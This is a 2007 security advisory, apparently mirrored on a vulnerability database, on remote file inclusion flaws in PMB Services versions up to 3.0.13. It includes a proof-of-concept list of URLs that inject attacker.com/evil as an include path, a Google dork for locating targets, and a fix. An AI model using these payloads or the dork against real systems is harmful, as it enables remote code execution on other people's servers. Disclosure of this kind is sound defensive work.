Lucene search
K

PMB Services <= 3.0.13 Multiple Remote File Inclusion Vulnerability

🗓️ 10 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 49 Views

PMB Services <= 3.0.13 multiple remote file inclusion vulnerability. PMB is a free ILS (Integrated Library Management System), based on web technology, requiring an HTTP server, MySQL database, and PHP language. Main functions include supporting UNIMARC format, authorities management, user-friendly configuration, and importing full bibliographic records

Code

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\\_&nbsp;&nbsp;&nbsp;_____/\\_&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\___&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
/_______&nbsp;&nbsp;/&nbsp;\\______&nbsp;&nbsp;/\\___|_&nbsp;&nbsp;/\\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_68$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_68$2007]&nbsp;PMB&nbsp;Services&nbsp;<=&nbsp;3.0.13&nbsp;Multiple&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
-----------------------------------------------------------------------------------------

Author&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;M.Hasran&nbsp;Addahroni
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;March,&nbsp;9th&nbsp;2007
Location&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Australia,&nbsp;Sydney
Web&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://advisories.echo.or.id/adv/adv68-K-159-2007.txt
Critical&nbsp;Lvl&nbsp;&nbsp;&nbsp;:&nbsp;Dangerous
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application&nbsp;&nbsp;&nbsp;:&nbsp;PMB&nbsp;Services&nbsp;
version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;<=&nbsp;3.0.13
Vendor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://www.sigb.net/
Description&nbsp;:

PMB&nbsp;is&nbsp;a&nbsp;completely&nbsp;free&nbsp;ILS&nbsp;(Integrated&nbsp;Library&nbsp;management&nbsp;System).&nbsp;The&nbsp;domain&nbsp;of&nbsp;software&nbsp;for&nbsp;libraries&nbsp;is&nbsp;almost&nbsp;exclusively&nbsp;occupied&nbsp;by&nbsp;proprietary&nbsp;products.
We&nbsp;are&nbsp;some&nbsp;librarians,&nbsp;users&nbsp;and&nbsp;developers&nbsp;deploring&nbsp;this&nbsp;state&nbsp;of&nbsp;affairs.

PMB&nbsp;is&nbsp;based&nbsp;on&nbsp;web&nbsp;technology.&nbsp;This&nbsp;is&nbsp;what&nbsp;we&nbsp;sometimes&nbsp;call&nbsp;a&nbsp;\'web-app\'.
PMB&nbsp;requires&nbsp;an&nbsp;HTTP&nbsp;server&nbsp;(such&nbsp;as&nbsp;Apache,&nbsp;but&nbsp;this&nbsp;is&nbsp;not&nbsp;an&nbsp;obligation),&nbsp;the&nbsp;MySQL&nbsp;database&nbsp;and&nbsp;the&nbsp;PHP&nbsp;language.

The&nbsp;main&nbsp;functions&nbsp;of&nbsp;PMB&nbsp;are&nbsp;:

&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Supporting&nbsp;the&nbsp;UNIMARC&nbsp;format
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Authorities&nbsp;management&nbsp;(authors,&nbsp;publishers,&nbsp;series,&nbsp;subjects...)
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Management&nbsp;of&nbsp;loans,&nbsp;holds,&nbsp;borrowers...
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;A&nbsp;user-friendly&nbsp;configuration
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;The&nbsp;ability&nbsp;to&nbsp;import&nbsp;full&nbsp;bibliographic&nbsp;records
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;A&nbsp;user-friendly&nbsp;OPAC&nbsp;integrating&nbsp;a&nbsp;browser
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Loans&nbsp;management&nbsp;with&nbsp;a&nbsp;module&nbsp;designed&nbsp;to&nbsp;serve&nbsp;even&nbsp;the&nbsp;very&nbsp;small&nbsp;establishments
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Serials&nbsp;management
&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;Simple&nbsp;administration&nbsp;procedures&nbsp;that&nbsp;can&nbsp;be&nbsp;handled&nbsp;easily&nbsp;even&nbsp;by&nbsp;the&nbsp;library&nbsp;staff...

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;includes/resa_func.inc.php&nbsp;:

---------------includes/resa_func.inc.php--------------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;resa_func.inc.php,v&nbsp;1.49&nbsp;2006/10/31&nbsp;07:59:35&nbsp;touraine37&nbsp;Exp&nbsp;$

require_once(\"$class_path/quotas.class.php\");
...
------------------------------------------------------------------

-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;includes/bull_info.inc.php&nbsp;:

--------------includes/bull_info.inc.php--------------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;bull_info.inc.php,v&nbsp;1.23&nbsp;2006/08/29&nbsp;20:33:32&nbsp;touraine37&nbsp;Exp&nbsp;$

//&nbsp;affichage&nbsp;des&nbsp;infos&nbsp;bulletin

require_once($include_path.\"/resa_func.inc.php\");
...
--------------------------------------------------------------------

-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;includes/misc.inc.php&nbsp;:

---------------includes/misc.inc.php-------------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;misc.inc.php,v&nbsp;1.46&nbsp;2006/10/18&nbsp;17:06:28&nbsp;dbellamy&nbsp;Exp&nbsp;$

//&nbsp;----------------------------------------------------------------------------
//	fonctions&nbsp;de&nbsp;formatage&nbsp;de&nbsp;cha.ne
//&nbsp;----------------------------------------------------------------------------
//&nbsp;reg_diacrit&nbsp;:&nbsp;fonction&nbsp;pour&nbsp;traiter&nbsp;les&nbsp;caract弐es&nbsp;accentu.s&nbsp;en&nbsp;recherche&nbsp;avec&nbsp;regex

//&nbsp;choix&nbsp;de&nbsp;la&nbsp;classe&nbsp;?&nbsp;utiliser&nbsp;pour&nbsp;envoi&nbsp;en&nbsp;pdf
if&nbsp;(!$fpdf)&nbsp;{
	if&nbsp;($charset&nbsp;!=&nbsp;\'utf-8\')&nbsp;$fpdf&nbsp;=&nbsp;\'FPDF\';&nbsp;else&nbsp;$fpdf&nbsp;=&nbsp;\'UFPDF\';
}

require_once($include_path.\"/marc_tables/\".$lang.\"/empty_words\");

...
------------------------------------------------------------------

-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;opac_css/rec_panier.php:

-------------opac_css/rec_panier.php------------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;rec_panier.php,v&nbsp;1.5&nbsp;2006/12/10&nbsp;10:04:10&nbsp;touraine37&nbsp;Exp&nbsp;$

require_once($base_path.\'/includes/session.inc.php\');

?>
-----------------------------------------------------------------

-&nbsp;-&nbsp;Invalid&nbsp;include&nbsp;function&nbsp;at&nbsp;opac_css/includes/author_see.inc.php&nbsp;:

--------------------opac_css/includes/author_see.inc.php------------------------
<?php
//&nbsp;+-------------------------------------------------+
//&nbsp;?nbsp;2002-2004&nbsp;PMB&nbsp;Services&nbsp;/&nbsp;www.sigb.net&nbsp;[email protected]&nbsp;et&nbsp;contributeurs&nbsp;(voir&nbsp;www.sigb.net)
//&nbsp;+-------------------------------------------------+
//&nbsp;$Id:&nbsp;author_see.inc.php,v&nbsp;1.32&nbsp;2006/12/29&nbsp;16:10:04&nbsp;touraine37&nbsp;Exp&nbsp;$

//&nbsp;affichage&nbsp;du&nbsp;detail&nbsp;pour&nbsp;un&nbsp;auteur

require_once($base_path.\'/includes/templates/author.tpl.php\');
...
----------------------------------------------------------------


Variables&nbsp;$class_path&nbsp;$include_path&nbsp;and&nbsp;$base_path&nbsp;are&nbsp;not&nbsp;properly&nbsp;sanitized.
When&nbsp;register_globals=on&nbsp;and&nbsp;allow_fopenurl=on&nbsp;an&nbsp;attacker&nbsp;can&nbsp;exploit&nbsp;this&nbsp;vulnerability&nbsp;with&nbsp;a&nbsp;simple&nbsp;php&nbsp;injection&nbsp;script.

also&nbsp;affected&nbsp;files&nbsp;:

includes/options/options_date_box.php
includes/options/options_file_box.php
includes/options/options_list.php
includes/options/options_query_list.php
includes/options/options_text.php
includes/options_empr/options.php
includes/options_empr/options_comment.php
includes/options_empr/options_date_box.php
includes/options_empr/options_list.php
includes/options_empr/options_query_list.php
includes/options_empr/options_text.php
admin/import/iimport_expl.php
admin/netbase/clean.php
admin/notices/perso.inc.php
admin/quotas/main.inc.php
admin/param/param_func.inc.php
admin/sauvegarde/lieux.inc.php
autorites.php
acount.php
cart.php
edit.php

Poc/Exploit:
~~~~~~~~~

http://www.target.com/[PMB_path]/includes/resa_func.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/bull_info.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_date_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_file_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_query_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options/options_text.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_comment.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_date_box.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_query_list.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/includes/options_empr/options_text.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/import/iimport_expl.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/netbase/clean.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/notices/perso.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/quotas/main.inc.php?class_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/param/param_func.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/admin/sauvegarde/lieux.inc.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/rec_panier.php?base_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/opac_css/includes/author_see.inc.php?base_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/autorites.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/account.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/cart.php?include_path=http://attacker.com/evil?
http://www.target.com/[PMB_path]/edit.php?include_path=http://attacker.com/evil?

Google&nbsp;Dork&nbsp;:&nbsp;&nbsp;&nbsp;\"&nbsp;allinurl:opac_css&nbsp;\"&nbsp;or&nbsp;\"allinurl:pmb/opac_css\"&nbsp;or&nbsp;\"PMB&nbsp;opac_css\"
~~~~~~

Solution:
~~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$class_dir&nbsp;$include_path&nbsp;and&nbsp;$base_path&nbsp;on&nbsp;affected&nbsp;files.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~
~&nbsp;ping&nbsp;-&nbsp;my&nbsp;dearest&nbsp;wife,&nbsp;and&nbsp;my&nbsp;little&nbsp;son,&nbsp;for&nbsp;all&nbsp;the&nbsp;luv&nbsp;the&nbsp;tears&nbsp;n&nbsp;the&nbsp;breath
~&nbsp;y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,&nbsp;str0ke&nbsp;(for&nbsp;the&nbsp;best&nbsp;comments)
~&nbsp;masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~&nbsp;SinChan,h4ntu,cow_1seng,sakitjiwa,&nbsp;m_beben,&nbsp;rizal,&nbsp;cR4SH3R,&nbsp;madkid,&nbsp;kuntua,&nbsp;stev_manado,&nbsp;nofry,&nbsp;x16
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;#e-c-h-o&nbsp;@irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;K-159&nbsp;||&nbsp;echo|staff&nbsp;||&nbsp;eufrato[at]gmail[dot]com
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Homepage:&nbsp;http://k-159.echo.or.id/

--------------------------------&nbsp;[&nbsp;EOF&nbsp;]&nbsp;----------------------------------

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation